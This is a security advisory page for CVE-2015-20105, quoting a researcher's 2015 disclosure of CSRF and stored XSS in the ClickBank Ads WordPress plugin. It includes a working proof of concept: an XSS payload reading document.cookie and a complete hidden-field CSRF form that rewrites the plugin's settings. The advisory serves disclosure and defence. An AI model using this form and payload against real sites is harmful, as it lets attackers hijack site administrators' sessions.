Headline

CVE-2015-20105: CSRF/XSS In ClickBank ads Wordpress Plugin

The ClickBank Affiliate Ads WordPress plugin through 1.20 does not have CSRF check when saving its settings, allowing attacker to make logged in admin change them via a CSRF attack. Furthermore, due to the lack of escaping when they are outputting, it could also lead to Stored Cross-Site Scripting issues

2 years ago

CVE

Open in Source

#xss #csrf #vulnerability

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CSRF/XSS In ClickBank ads Wordpress Plugin

From: kingkaustubh () me com
Date: Wed, 6 May 2015 19:49:47 GMT

================================================================ CSRF/Stored XSS Vulnerability in ClickBank Ads V 1.7 Plugin ================================================================

. contents:: Table Of Content

Overview

* Title :CSRF and Stored XSS Vulnerability in ClickBank Ads Wordpress Plugin * Author: Kaustubh G. Padwad * Plugin Homepage: https://wordpress.org/plugins/clickbank-ads-clickbank-widget/ * Severity: HIGH * Version Affected: Version 1.7 and mostly prior to it * Version Tested : Version 1.7 * version patched:

Description

Vulnerable Parameter

* Title:

About Vulnerability

This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin’s cookies etc.

Vulnerability Class

Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)

After installing the plugin

Goto Dashboard --> Setting --> ClickBank Ads --> Title
Insert this payload ## "><script>±±1-±+alert(document.cookie)</script> ## Into above mention Vulnerable parameter Save settings and see XSS in action
Visit Click Ads settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code

<html> <body> <form action="http://127.0.0.1/wp/wp-admin/options-general.php?page=clickbank-ads-clickbank-widget/clickbank-ads.php"; method="POST"> <input type="hidden" name="cbwec[title]" value="">>><script>±±1-±+alert(document.cookie)</script>" /> <input type="hidden" name="cbwec[name]" value="kaustubh" /> <input type="hidden" name="cbwec[keywordbytitle2]" value="Title" /> <input type="hidden" name="cbwec[keywords]" value="" /> <input type="hidden" name="cbwec[adformat]" value="1" /> <input type="hidden" name="cbwec[width2]" value="100%" /> <input type="hidden" name="cbwec[width]" value="100%" /> <input type="hidden" name="cbwec[height]2" value="220" /> <input type="hidden" name="cbwec[height]" value="220" /> <input type="hidden" name="cbwec[pos]" value="Top" /> <input type="hidden" name="cbwec[bordstyle]" value="1" /> <input type="hidden" name="cbwec[bordcolor]" value="CCCCCC" /> <input type="hidden" name="cbwec[linkcolor]" value="0000FF" /> <input type="hidden" name="cbwec[runplugin]" value="1" /> <input type="hidden" name="cbwec[homepage]" value="1" /> <input type="hidden" name="cbwec[onlypost]" value="1" /> <input type="hidden" name="cbwec_submit" value="Save Â»" /> <input type="submit" value="Submit request" /> </form> </body> </html>

credits

* Kaustubh Padwad * Information Security Researcher * kingkaustubh (at) me (dot) com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad

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